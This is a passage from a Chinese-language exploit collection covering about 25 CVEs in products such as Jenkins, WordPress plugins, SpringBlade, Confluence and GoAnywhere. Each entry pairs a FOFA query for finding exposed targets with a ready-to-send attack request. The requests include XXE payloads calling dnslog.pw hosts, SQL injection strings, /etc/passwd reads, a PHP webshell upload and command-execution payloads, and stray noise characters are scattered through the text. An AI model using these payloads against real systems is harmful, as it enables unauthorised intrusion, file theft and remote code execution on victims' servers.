/ q% ]% Q) k$ `8 ?9 fUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 N! U! Q7 `  @" r- X& vConnection: close
+ S* x: h6 I: }0 \" L: Y1 j8 f6 rContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- a8 l7 z9 [+ l% i# O& o
  [. P' p' Y/ `2 ~/ I! aSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
+ T, F% Q/ W# o6 k- x) n2 b9 G% O
1 N7 v$ d0 M9 t- Z# y
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

$ Y( \4 q% i6 q( R
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
* _9 }3 ?" R1 GContent-Length:41
) e- m8 f" P, Q& nAccept:application/json,text/javascript，*/*;q=0.01
* x/ o/ `, l0 D" N% GX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
( _0 O9 O+ S7 ]; J2 C& c: A7 GOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
7 p4 h7 o/ T" @9 k+ ]Connection:close
2 @  S3 M6 b4 W6 y$ a
{
"topicurl":"getSysStatusCfg",
+ U" R& a6 J% w8 Z"token":""
}
+ Y* i8 X& i3 u( l/ J
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
9 s5 U0 I6 ?1 W* L6 p* V/ f! J$ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: T) ~6 F! G5 z. k1 y5 z/ ABlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
* U/ W( @3 b( J: G5 \- E" QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) C5 o9 r  R1 b' t! v4 O; o' ZConnection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
0 ], ~* _9 @' G5 {, jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! W7 W8 w  Z8 l% i6 QBlade-Auth:替换为自己的
! l! t: `, y, L- D8 ~; tConnection: close
1 O& i; }  b5 L7 w
9 H( f6 p' R# o/ {0 [
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
- P; I! G: `' q. z9 mFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
$ h* c/ n' E& l. gHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
, M6 p  Y5 Z1 F4 x0 ]' z
) x& N8 _) j' P; S" ^
109. Jenkins CLI 任意文件读取
CVE-2024-23897
6 ?1 j0 t1 p8 x! E/ nFOFA：header="X-Jenkins"
0 O4 m. d/ }2 t% `- }& K7 |POST /cli?remoting=false HTTP/1.1
7 i! j6 @6 b& D; |Host:
& R$ G- \' m/ L2 ]Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
3 F/ l! B5 `' y% tContent-Length: 163
- d/ ^( W3 D6 R! ]
$ `3 O( E8 z8 ]: i5 C! L2 I, O1 Lb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

4 h3 Q% p9 g2 @. I  a# {9 x0 e' j
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
, V7 {- T. B; l- A$ o8 L! ndownload
* n& D, S  z; f) C; |5 l4 s3 O1 rContent-Type: application/x-www-form-urlencoded
Content-Length: 0

6 K/ \: m$ a8 J  m& y2 c6 o
# Y% m3 r/ ?& P  [ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9 T) Y  B1 @5 _# v8 N4 \9 v+ jjava -jar jenkins-cli.jar help
[COMMAND]
6 o' e! L" ]5 E. l2 i% z& HLists all the available commands or a detailed description of single command.
% c4 R/ b' N3 M8 V COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


1 Z' e* V. J) k; S2 N2 l110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
( L  Z1 A; H2 i# x8 w. [0 DFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ [, J$ H% F. DGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
8 N9 f, E: ~4 w! Z/ @9 VHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
" C: E9 v( u/ g) t) [+ gAccept: */*
Accept-Language: en
Accept-Encoding: gzip
) Y! o& O0 F( y5 M. G) o+ C0 E

111. WordPress Plugin HTML5 Video Player SQL注入
! v9 G2 S. `( U1 t$ wCVE-2024-1061
, o1 \: X" Z- Y0 X' LFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
2 o7 I1 D& w3 Q( ^Host: 192.168.40.130:112
& g" J# U" {: l& p1 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
. b* G) B* H5 L: k0 {. [; ?6 R& eAccept: */*
& N" i, w7 q1 c& ]" S  {Accept-Language: en
$ y+ ~: G% r$ \; |' FAccept-Encoding: gzip
$ x2 z+ H8 L+ x

5 d4 U6 _" @2 T, {6 @. e. F& F% Y112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
3 |5 `9 K1 f; Q! \5 aPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

; z& B% R1 ^$ Z# g  i% ~1 a+ u{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
+ f* p2 u6 j+ D0 p! P
" t! M8 ~2 _% r" }5 R  w' r
; J1 R. w* ]1 }- `113. WordPress Automatic 插件任意文件下载和SSRF
. g5 R+ b, o9 d9 Q$ B- OCVE-2024-27954
+ R# j/ R' K5 \* HFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
3 {: l' y2 ]* Z2 _5 G- K) Y0 ?/ P, UAccept: */*
, u, F) b3 o/ d) ~1 q- cAccept-Language: en
& t+ f4 K: s5 p- {: `* Z4 _& RAccept-Encoding: gzip
' z0 _7 ^0 t2 p" o/ p" z+ t

: i8 w7 a* `) F6 r: M' [114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
: I6 B8 ^; s- H7 |% hHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' c9 f1 C7 f" t0 @' }! {Accept-Charset: utf-8
7 L( F* E& j1 G% I, f. WAccept-Encoding: gzip, deflate
Connection: close


) [2 S8 t2 A: ]7 Q2 B115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
4 T( _- K. \; x% _. k第一步，获取网站的nonce值
+ P- X% D/ Z/ b7 |GET / HTTP/1.1
# O( O; D; q. z" g# l7 o$ P8 H- g; Q; SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
! g8 _, Z; B. @2 g9 q# y2 bConnection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, z  \- R' d5 vConnection: close
Content-Length: 356
Content-Type: application/json
+ b( G& J, k& a) Y. WAccept-Encoding: gzip

/ ]" }6 Y+ D; x6 [& Z- G{
1 t5 k) M: Z- @9 F* X* @"postId": "1",
# g& M( l- k2 O) F& J  "nonce": "第一步获得的值",
7 T) q. w" [0 ]$ ^3 u! c. `! S  "element": {
    "name": "container",
    "settings": {
5 M' ]( K9 O! \2 I  H* `      "hasLoop": "true",
: v' s& U, }& y0 ~- [3 e      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
' n% C3 r4 i$ y- F5 d# o1 F2 {8 d    }
. a8 Q9 Q% K" I  S  }
; S9 P8 s; [# b. N}
4 H0 a1 x) o; d$ i# i
+ a* q! @2 C0 u/ C& t5 A  q. g
) d* K. q% ]" N4 {116. wordpress js-support-ticket文件上传
0 F% w$ [! G& V/ S( f' N- OFOFA：body="wp-content/plugins/js-support-ticket"
% n- l( n/ ]4 s0 OPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

9 j4 t. Q8 R# A----------767099171
- |/ C2 z. V% L6 \4 {, GContent-Disposition: form-data; name="action"
3 ^. L' L4 i; E6 ~; r# ?! J) ~configuration_saveconfiguration
----------767099171
- L, M9 n) g- k4 y  V4 L9 ~Content-Disposition: form-data; name="form_request"
: x! w/ r# L8 K& x$ zjssupportticket
1 Y4 v0 ~. J0 l3 L7 V1 a3 X% \6 V----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
# R- _  Z4 m" l; z+ R: ZContent-Type: image/png
" j! b5 n: E) x$ f----------767099171--
% n' Q0 F, `6 [* r2 |

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
& G; g) p8 A% M! ]5 O1 z: m9 AGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
6 n* [5 c; v) d. {2 gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 f  ]1 l, V$ J8 r* L: LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
3 u3 \  `; f* b7 B: {$ q. bConnection: close
! w. T4 M' E- u# W/ [Upgrade-Insecure-Requests: 1

' ]2 k" e  c5 C" }! W
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
" q) }* T8 g4 Z7 \" o8 g$ i! tFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
  B2 Q$ E5 @' U2 v& THost: 192.168.40.130:8443
$ b1 U3 s5 _0 h' }: VCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
5 b: Y3 i; r1 H: X. |3 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
9 b2 x( H' |- {; b2 YOrigin: https://192.168.40.130:8443
+ Z9 V+ [; Z+ tReferer: https://192.168.40.130:8443/Tool/uploadfile.php
. T: K8 f0 Y' o. U9 E9 Z3 l& ^Upgrade-Insecure-Requests: 1
& ^% b( b3 l3 g4 U+ o, f4 |( @Sec-Fetch-Dest: document
9 W6 Y5 u0 y) h7 m7 ?4 I5 bSec-Fetch-Mode: navigate
$ n) w/ m2 [1 C- I8 n8 Q2 q+ rSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- s, i' l( t, {# B. fTe: trailers
8 M6 _/ ]- O8 h# i4 |; fConnection: close
0 Q# c: m5 w# V! s, @
* P) ]& A4 \5 f* S0 D/ E$ v$ o-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

8 W+ F: M. m+ I/ M<?php
, n9 Y0 H5 t! |8 v8 Isystem($_POST["passwd"]);
?>
  ^2 A7 Z) R$ L-----------------------------13979701222747646634037182887
1 f3 w9 K( O& v6 a7 a( c& _Content-Disposition: form-data; name="txt_path"

/home/src.php
$ w$ c" n$ @! U& p% f. _4 f-----------------------------13979701222747646634037182887--
1 x6 @3 |* ~. N2 G0 R: z( f
0 J) H$ y: ?6 F# L
访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
4 m4 @6 h- |7 l5 L  SPOST /sysmanage/sysmanageajax.php HTTP/1.11
9 e' C! r5 M' J& {; f2 u& OHost: x.x.x.x
- w2 u8 q5 A1 [. h. c3 K0 SCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
  ~7 j, V+ ?9 t+ N/ N% `1 t/ H6 _: QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
' k5 o* Z' k: ]Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
  q. j6 ~5 q1 _+ {* ^% ]% B8 t) tContent-Length: 109
1 H( C/ Q7 I% S1 COrigin: https://58.18.133.60:8443
0 k, k) I' s  e3 V$ X7 ]Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
; m' |& y  {5 nSec-Fetch-Dest: empty
5 I1 ^# P, X0 R2 ^, qSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
; p, V% N  s$ b: K& G) I- gX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
& i4 ?- n0 |2 d  O  bTe: trailers
Connection: close
  C% Q) a) m# O( v8 I9 D& X: [
; Z& y2 t) X$ u. G0 W+ lsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


. z! @7 [7 T9 I' a6 v2 n, }120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
4 O: `+ ~& \/ e. m3 f) N% kFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& B6 S; E1 o  a& R% j1 FContent-Length: 597
Origin: https://ip:port
# A- g/ o2 A; H: [+ F* N, |6 pReferer: https://ip:port/sysmanage/licence.php
! o* ?* d( P5 h( ^9 n# HUpgrade-Insecure-Requests: 1
2 r! i% t: Q( ~6 k" e$ nSec-Fetch-Dest: document
. L4 F6 L4 K5 b4 GSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
2 v9 ?, O* w. r& n: W5 bSec-Fetch-User: ?1
Te: trailers
! d7 |' _! P/ |: TConnection: close

-----------------------------42328904123665875270630079328
1 ~( L; c& n# j: J9 G1 g" BContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
% b# h9 d! B8 ?+ J  b. G( a-----------------------------42328904123665875270630079328
- x0 ]9 o7 R: t3 p; zContent-Disposition: form-data; name="id_type"
* i. u" _& I3 @* _/ G
& e" T( B% B4 ]* Y; \1
-----------------------------42328904123665875270630079328
+ B2 g' F$ f9 E. rContent-Disposition: form-data; name="1_ck"

# v6 F* y: p$ I1 h1_radhttp
2 N1 z& A8 l" K-----------------------------42328904123665875270630079328
" v* n1 C1 a3 v! ]0 f+ P# V5 IContent-Disposition: form-data; name="mode"
# x" y3 I; r4 u. B: O) p( f
import
3 @. c3 ^' e2 S) n-----------------------------42328904123665875270630079328
9 [& r/ Q( n4 H5 M5 k8 F" R0 I
+ R( s& |+ I  _( I1 M' d+ X
文件路径/upload/2.php

9 U8 w0 j# a% e8 u% a3 d$ w  A" G! z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
4 b4 D7 Y5 j& ]  O% C' iFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
: F' w- Z% R( ]% A" ^$ H$ a: _( x& w6 hHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
  @& j. H6 T& C9 i! i: KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* U8 \- F, i! x# Z& h( \. x$ JContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
( w8 ^+ k/ {9 W/ rContent-Length: 592
( n4 H! `% w" O! z9 j, C" M: POrigin: https://192.168.40.130:8443
3 x6 B- R9 W" y2 e( q2 \Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
8 S0 W# ?6 [7 B) V9 E- ATe: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
8 g' h# p& a, Y6 }-----------------------------42328904123665875270630079328
* g8 B9 z; E. r% i$ g( Z  Y# `Content-Disposition: form-data; name="id_type"
3 L, W0 S$ g: y2 i# J
1
4 k$ ], \: f' c8 V) s" z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

5 w1 c5 Y+ Y; G' H9 F1_radhttp
# e  K3 b# r" z0 L3 z  I  {-----------------------------42328904123665875270630079328
( o( n6 C4 G. a6 YContent-Disposition: form-data; name="hidwel"

; T8 U# a, X) H5 e1 wset
* |1 X0 O: L- Q2 ^- W-----------------------------42328904123665875270630079328


  l/ E4 D  ~5 V3 fboot/web/upload/weblogo/1.php
$ t+ \3 T7 y- Z  E3 ]8 Y( j
' \+ q* U8 O: ]8 ?122. 北京百绰智能s200管理平台/importexport.php sql注入
# [9 h1 }* P. X/ ?5 [/ dCVE-2024-27718FOFA：title="Smart管理平台"
: N8 c! A& n2 [+ r& o# G% ?其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
- y  D8 ?5 q# f" e* I- lHost: x.x.x.x
2 d, e2 N, I4 O4 @, _Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 X0 J: Y5 q% d! D# Y4 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
2 ]4 n( x  S5 \8 ?Upgrade-Insecure-Requests: 1
$ p: `  |. j" iSec-Fetch-Dest: document
' y: S4 m8 u' E1 @' a9 }Sec-Fetch-Mode: navigate
; c% g/ S3 P6 M9 i' F& T4 _3 s1 SSec-Fetch-Site: none
% l" b' v/ g, F9 v4 p4 ^. uSec-Fetch-User: ?1
Te: trailers
# `$ a2 k  Y) ?; BConnection: close

, R/ X* g& m2 _( d1 B
) ?& S: N* V' J$ b' G7 u. g) o123. Atlassian Confluence 模板注入代码执行
& L- B, h6 s% I+ k" z7 G& UFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
/ y8 [9 L2 |3 o( x5 N' Q+ R+ G7 l" MHost: localhost:8090
/ |5 c# A  |3 s$ G% U- iAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
! c" l+ i7 b+ @4 l" b3 m5 x+ iContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
6 K8 }. P4 n7 V/ M
% f4 _: `3 U6 i3 y$ K/ l, X1 f
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
- y. m4 o) }# V/ m6 B4 tPOST /Scripts/admintool?type=updatefile HTTP/1.1
8 e2 |% L2 C& {! kHost: 192.168.40.130:8282
0 U8 `0 c9 d' h' o. x% N3 R& L4 b7 XUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
7 M1 {( j, F! Y. CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
2 Y4 I% v1 w! n4 p9 P8 k" G! R% E6 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 O5 m# R; q$ q! g- t5 l, `5 GConnection: close
- {% M8 j1 Y  U- l& k' RContent-Type: application/x-www-form-urlencoded
3 V2 l0 k/ K# `: }* c; H5 L" c
; l  v+ h8 t+ LfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
% i, t6 i' q2 E
' U  H8 C+ E& f1 c1 E
http://192.168.40.130:8282/Scripts/abcgcg.aspx

$ t; e+ B0 q% b3 X4 q125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
! O; P- h! K+ {( O0 IFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
: M' r! _1 X1 G1 U3 O, O: f" p( F: Vpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

0 S" D/ u7 \) l: w+ K- B1 `, e  e( z
1 x# V9 u# ?) J# S7 c创建好用户后直接登录后台，可以执行系统命令。
- s3 `( I& G% p, o) l  v9 R, m1 k" ^, }
5 t% C( O2 c1 L% j9 p! Z126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
8 c1 r( Y. G5 e+ Q8 f2 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; ]) M: w' X8 i% `( uConnection: close
% x3 L+ Z. V* g; m7 aAccept: */*
! {( @& }- [* H( E3 v3 KAccept-Language: en
0 R! z2 c7 G: S. E, A2 @Accept-Encoding: gzip
4 P8 g: ]) {6 G2 c! T
. V4 k9 F4 ]' n" I
- J- [0 @) I) [  n% M127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
" E1 r- y8 X) d2 Q4 L  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
0 w/ z! e- C: C6 `; ~2 j1 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 O5 g. x1 o+ v( iAccept-Encoding: gzip, deflate
- s; z+ [8 h. aAccept-Language: zh-CN,zh;q=0.9
5 T$ a. y0 ]( N1 h2 W6 H% BConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

  J9 {" I( l- y' NBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 W( d' {9 ?* N9 dContent-Disposition: form-data;name="Params"
Content-Type: text/plain
8 ^* ~! s2 p4 `# |
3 B$ \" ?5 e( e2 U. Q) N<?xml version="1.0" encoding="UTF-8"?>
1 n9 J/ r) s: F8 D9 j: q. o<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
) _3 Q/ l# M5 }: X2 K' v  W4 P]
1 S" f/ \8 C" d>
<test>&t;</test>
* h; X; D- h/ q------WebKitFormBoundaryJGgV5l5ta05yAIe0--



& M" @6 q# ^+ E: V, }" b/ m- m128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
/ K. r/ N4 v. f  }2 Y  \) Z5 EPAYLOAD
